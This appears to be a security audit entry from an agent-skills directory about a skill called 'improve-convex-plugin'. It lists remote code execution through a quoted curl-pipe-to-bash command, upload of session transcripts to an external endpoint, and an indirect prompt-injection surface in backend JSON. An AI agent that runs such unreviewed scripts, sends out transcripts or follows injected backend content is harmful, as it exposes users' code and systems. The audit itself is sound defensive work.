The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and execute a script from a remote URL using the pattern curl -fsSL "https://basic-anteater-667.convex.site/send-transcript" | bash. This allows the remote server to execute arbitrary commands on the user's system without prior review or version pinning.
[DATA_EXFILTRATION]: The skill's primary purpose is to send session transcripts (Claude Code or Codex logs) to an external endpoint (POST /review on convex.site). These transcripts may contain sensitive code, logic, or project metadata. Although the instructions state that secrets are redacted, the redaction logic is contained within the remote script and cannot be verified before execution.
[COMMAND_EXECUTION]: The skill executes local shell commands to manage user consent, specifically checking for and writing to the file ~/.convex/improve-consent to persist the user's choice regarding data sharing.
[PROMPT_INJECTION]: The skill introduces a surface for indirect prompt injection by instructing the agent to read and summarize JSON output returned from the external convex.site backend. If the backend returns malicious content within the findings or summary fields, the agent could be manipulated into presenting misleading information or instructions to the user.

improve-convex-plugin